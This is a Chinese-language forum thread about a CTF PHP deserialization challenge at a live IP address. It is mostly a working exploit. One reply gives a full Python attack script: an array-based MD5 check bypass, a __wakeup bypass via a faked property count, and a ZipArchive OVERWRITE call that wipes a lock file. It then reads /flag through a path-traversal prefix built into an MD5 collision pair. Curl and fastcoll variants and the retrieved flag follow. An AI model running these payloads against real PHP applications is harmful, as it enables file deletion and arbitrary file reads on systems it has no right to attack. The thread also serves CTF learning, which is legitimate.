一个CTF反序列化题目

GoogleHacking

题目地址：http://171.80.2.169:18382/

这个是ZipArchive反序列化删除文件，哈希真相等,我试了试删除sandbox、locklock，但是删不掉，但是访问不了这个了，，。后来又用fastcool生成一样的文件，传入还是不行，按照知乎的题解做了一下也出不来flag。，求指导

Wh1teSu

题目首页直接回显源码，核心逻辑如下：

```php
if((($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))){
    unserialize($_POST['c']);
}
```

`unserialize($_POST['c'])` 是入口，`Jesen::__wakeup()` 会把 `$me` 重置成 `new Ctf()`，`Jesen::__destruct()` 会调用 `$this->me->open($this->filename,$this->content)`。`Ctf::open()` 又分成两条路：

```php
if(!file_get_contents("./sandbox/lock.lock")){
    echo file_get_contents(substr($_POST['b'],0,30));
    die();
}else{
    file_put_contents("./sandbox/".md5($filename.time()),$content);
    die("or you can guess the final filename?");
}
```

所以利用思路很清晰：

1. 先绕过 `md5($_POST['b']) === md5($_POST['a'])`。
2. 再想办法不让 `__wakeup()` 把 `$me` 改回去。
3. 利用可控 `$me` 清空 `./sandbox/lock.lock`。
4. 第二次请求进入读文件分支，让 `substr($_POST['b'],0,30)` 指向 flag。

第一步可以直接用数组绕过。在 PHP 7.0.9 下，报错被关闭时，`md5(array)` 会得到 `NULL`，因此：

```http
a[]=1
b[]=2
```

满足：

- `$_POST['a'] != $_POST['b']`
- `md5($_POST['a']) === md5($_POST['b'])`

第二步利用伪造属性个数的方式绕过 `__wakeup()`，把 `$me` 保持为内置类 `ZipArchive`，然后让析构时实际调用：

```php
ZipArchive::open("./sandbox/lock.lock", 8)
```

这里 `8` 对应 `ZipArchive::OVERWRITE`，可以把 `lock.lock` 清空。第一阶段打完后，第二阶段就会进入读文件分支。

第三步需要满足两个条件：`a` 和 `b` 不相等，但 MD5 完全相同。这里直接使用现成的 MD5 强碰撞样本。把碰撞块前 30 个字节固定成：

```text
./../../../../../../../../flag
```

它刚好是 30 字节，能被 `substr($_POST['b'],0,30)` 完整截出来，最终实现读 `/flag`。

```python
#!/usr/bin/env python3
import re
from urllib.parse import quote_plus

import requests


url = "http://171.80.2.169:18382/"
session = requests.Session()

stage1_c = (
    'O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";'
    's:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{'
    's:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;'
    's:8:"filename";s:0:"";s:7:"comment";s:0:"";}}'
)
stage1_body = "a%5B%5D=1&b%5B%5D=2&c=" + quote_plus(stage1_c)

session.post(
    url,
    data=stage1_body,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    timeout=10,
)

stage2_body = r'''a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03HX%E5r%04%93%D5%8E%B8c%A2I%02%B3%BA%11%9F%BE%3D%10%25%B7%296fB%E5%A5%8D%AD%A2%9A%D5%FD%EBB%ED%E7%26%8B%60%CDt%1A%98%F9i%CC%BC%B4%E7%D3%D4%7D%3DL%C0sux%9B%D89%DB%5C%90%02%0C%0C%DD%A7%8F%1C%B0P7%E4%2B%1E%08%9C%9Dp%FF%85%0E%1E%D3%1A%069%EC%C6%01%E6n%5E%1EV%F4%8F%F8%12%AAGHO%7FPJl%F6%5B8%06%F7%7Cdm%BD%5CC%02%0F%F2%F3I&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03HX%E5r%04%93%D5%8E%B8c%A2I%02%B3%BA%11%9F%BE%BD%10%25%B7%296fB%E5%A5%8D%AD%A2%9A%D5%FD%EBB%ED%E7%26%8B%60%CDt%1A%18%FAi%CC%BC%B4%E7%D3%D4%7D%3DL%C0s%F5x%9B%D89%DB%5C%90%02%0C%0C%DD%A7%8F%1C%B0P7%E4%2B%1E%08%9C%9D%F0%FF%85%0E%1E%D3%1A%069%EC%C6%01%E6n%5E%1EV%F4%8F%F8%12%AAGHO%7F%D0Il%F6%5B8%06%F7%7Cdm%BD%5CC%82%0F%F2%F3I&c=O:5:"Jesen":3:{s:8:"username";N;s:7:"content";N;s:2:"me";N;}'''

r = session.post(
    url,
    data=stage2_body,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    timeout=10,
)

print(re.search(r"flag\\{.*?\\}", r.text).group(0))
```

flag{60322478282404f8497dc913ecbacc0d}

GoogleHacking

还得是大佬，我用php代码的方式弄得， 但是不知道为啥跑不出来结果，
<?php
$postdata = http_build_query(
array(
'a' => file_get_contents("1_msg1.txt"), // hash碰撞出来的文件
'b' => file_get_contents("2_msg2.txt"),
'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";s:0:\"\";s:7:\"content\";s:0:\"\";s:2:\"me\";N;}"
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://171.80.2.169:18382/', false, $context);
echo $result;
?>

GoogleHacking

Wh1teSu 发表于 2026-3-31 10:25
题目首页直接回显源码，核心逻辑如下：

```php

a' => file_get_contents("1_msg1.txt"), // hash碰撞出来的文件
'b' => file_get_contents("2_msg2.txt")


我的这俩记事本，都是原始内容，我试了试原始内容，以及对内容进行URL编码，都出不来结果

GoogleHacking

不过你的python倒是一幕了然，能整明白

Wh1teSu

GoogleHacking 发表于 2026-3-31 10:34
不过你的python倒是一幕了然，能整明白

这个应该也可以
```bash
# 1. 生成 30 字节目标路径前缀
printf './../../../../../..///////flag' > prefix_flag

# 2. 生成一组带相同前缀的 MD5 碰撞文件
/tmp/fastcoll -p prefix_flag -o a_flag.bin b_flag.bin

# 3. 序列化触发对象
cat > payload.txt <<'EOF'
O:5:"Jesen":3:{s:8:"filename";s:1:"x";s:7:"content";s:1:"y";s:2:"me";N;}
EOF

# 4. 发包读取 flag
curl -X POST 'http://171.80.2.169:18382/' \
  -F 'a=<a_flag.bin' \
  -F 'b=<b_flag.bin' \
  -F 'c=<payload.txt'
```

GoogleHacking

curl -i -X POST \
   -H "Content-Type:application/x-www-form-urlencoded" \
   -d \
'a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00B%B0%07v0%A0%C3%5C%1A%1D%E8%B2%BFn%3E.%7F%F7%AF%9C%D8U-%7F%0A%B6%82%DE%EB%05%3C%B7%C8%A3%C3%C9H%02%EB%C7%07%FC%CB%1A%2C%BE%8C%0C%88%95%EE%A9%CA%1C%3C.%3FZD%94%9E%93%85%EC%18L%A4a%EF%D2v%02%94%96%F4P%94%D8uoM%D2td%DF%8C%01on%FB%8F%CBKaeAu%60%BD%8A%82%A7%92%7F%AC%C2o%F9%9A%9Fn%11%18%D6%82%F9%CC%F2%E6p%A4%A5%AC%EB%ED%CFt%92&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00B%B0%07v0%A0%C3%5C%1A%1D%E8%B2%BFn%3E.%7F%F7%AF%1C%D8U-%7F%0A%B6%82%DE%EB%05%3C%B7%C8%A3%C3%C9H%02%EB%C7%07%FC%CB%1A%2C%3E%8D%0C%88%95%EE%A9%CA%1C%3C.%3FZD%14%9E%93%85%EC%18L%A4a%EF%D2v%02%94%96%F4P%94%D8uoM%D2t%E4%DF%8C%01on%FB%8F%CBKaeAu%60%BD%8A%82%A7%92%7F%AC%C2o%F9%9A%1Fn%11%18%D6%82%F9%CC%F2%E6p%A4%A5%ACk%ED%CFt%92&c=O%3A5%3A%22Jesen%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3Bs%3A2%3A%22me%22%3BN%3B%7D' \
'http://171.80.2.169:18382/'